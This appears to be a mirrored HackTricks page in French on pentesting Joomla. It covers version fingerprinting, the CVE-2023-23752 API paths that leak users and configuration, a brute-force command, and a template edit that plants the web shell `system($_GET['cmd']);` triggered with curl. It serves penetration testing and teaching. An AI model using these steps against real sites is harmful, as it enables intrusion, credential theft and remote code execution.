mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
113 lines
4.5 KiB
Markdown
113 lines
4.5 KiB
Markdown
# Joomla
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
|
|
### Statistiques Joomla
|
|
|
|
Joomla collecte des [statistiques d'utilisation](https://developer.joomla.org/about/stats.html) anonymes telles que la répartition des versions de Joomla, PHP et des systèmes d'exploitation de base de données utilisés sur les installations Joomla. Ces données peuvent être interrogées via leur [API](https://developer.joomla.org/about/stats/api.html) publique.
|
|
```bash
|
|
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
|
|
|
|
{
|
|
"data": {
|
|
"cms_version": {
|
|
"3.0": 0,
|
|
"3.1": 0,
|
|
"3.10": 6.33,
|
|
"3.2": 0.01,
|
|
"3.3": 0.02,
|
|
"3.4": 0.05,
|
|
"3.5": 12.24,
|
|
"3.6": 22.85,
|
|
"3.7": 7.99,
|
|
"3.8": 17.72,
|
|
"3.9": 27.24,
|
|
"4.0": 3.21,
|
|
"4.1": 1.53,
|
|
"4.2": 0.82,
|
|
"4.3": 0,
|
|
"5.0": 0
|
|
},
|
|
"total": 2951032
|
|
}
|
|
}
|
|
```
|
|
## Énumération
|
|
|
|
### Découverte/Profilage
|
|
|
|
- Vérifiez les **meta**
|
|
```bash
|
|
curl https://www.joomla.org/ | grep Joomla | grep generator
|
|
|
|
<meta name="generator" content="Joomla! - Open Source Content Management" />
|
|
```
|
|
- robots.txt
|
|
```
|
|
# If the Joomla site is installed within a folder
|
|
# eg www.example.com/joomla/ then the robots.txt file
|
|
# MUST be moved to the site root
|
|
# eg www.example.com/robots.txt
|
|
# AND the joomla folder name MUST be prefixed to all of the
|
|
# paths.
|
|
[...]
|
|
```
|
|
- README.txt
|
|
```
|
|
1- What is this?
|
|
* This is a Joomla! installation/upgrade package to version 3.x
|
|
* Joomla! Official site: https://www.joomla.org
|
|
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
|
|
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
|
|
```
|
|
### Version
|
|
|
|
- Dans **/administrator/manifests/files/joomla.xml**, vous pouvez voir la version.
|
|
- Dans **/language/en-GB/en-GB.xml**, vous pouvez obtenir la version de Joomla.
|
|
- Dans **plugins/system/cache/cache.xml**, vous pouvez voir une version approximative.
|
|
|
|
### Automatic
|
|
```bash
|
|
droopescan scan joomla --url http://joomla-site.local/
|
|
```
|
|
In[ **80,443 - La méthodologie de pentesting web est une section sur les scanners CMS**](#cms-scanners) qui peuvent scanner Joomla.
|
|
|
|
### Divulgation d'informations non authentifiées via l'API :
|
|
|
|
Les versions de 4.0.0 à 4.2.7 sont vulnérables à la divulgation d'informations non authentifiées (CVE-2023-23752) qui va exposer des identifiants et d'autres informations.
|
|
|
|
- Utilisateurs : `http://<host>/api/v1/users?public=true`
|
|
- Fichier de configuration : `http://<host>/api/index.php/v1/config/application?public=true`
|
|
|
|
**Module MSF** : `scanner/http/joomla_api_improper_access_checks` ou script ruby : [51334](https://www.exploit-db.com/exploits/51334)
|
|
|
|
### Brute-Force
|
|
|
|
Vous pouvez utiliser ce [script](https://github.com/ajnik/joomla-bruteforce) pour tenter de forcer le login.
|
|
```shell-session
|
|
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
|
|
|
|
admin:admin
|
|
```
|
|
## RCE
|
|
|
|
Si vous parvenez à obtenir des **identifiants admin**, vous pouvez **RCE à l'intérieur** en ajoutant un extrait de **code PHP** pour obtenir **RCE**. Nous pouvons le faire en **personnalisant** un **template**.
|
|
|
|
1. **Cliquez** sur **`Templates`** en bas à gauche sous `Configuration` pour faire apparaître le menu des templates.
|
|
2. **Cliquez** sur un nom de **template**. Choisissons **`protostar`** sous l'en-tête de colonne `Template`. Cela nous amènera à la page **`Templates: Customise`**.
|
|
3. Enfin, vous pouvez cliquer sur une page pour faire apparaître le **code source** de la page. Choisissons la page **`error.php`**. Nous ajouterons un **PHP one-liner pour obtenir l'exécution de code** comme suit :
|
|
1. **`system($_GET['cmd']);`**
|
|
4. **Enregistrer & Fermer**
|
|
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
|
|
|
|
## De XSS à RCE
|
|
|
|
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit) : Script d'exploitation Joomla qui **élève XSS à RCE ou d'autres vulnérabilités critiques**. Pour plus d'infos, consultez [**ce post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Il fournit **un support pour les versions Joomla 5.X.X, 4.X.X et 3.X.X, et permet de :**
|
|
- _**Escalade de privilèges :**_ Crée un utilisateur dans Joomla.
|
|
- _**(RCE) Édition de templates intégrés :**_ Édite des templates intégrés dans Joomla.
|
|
- _**(Personnalisé) Exploits personnalisés :**_ Exploits personnalisés pour des plugins Joomla tiers.
|
|
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|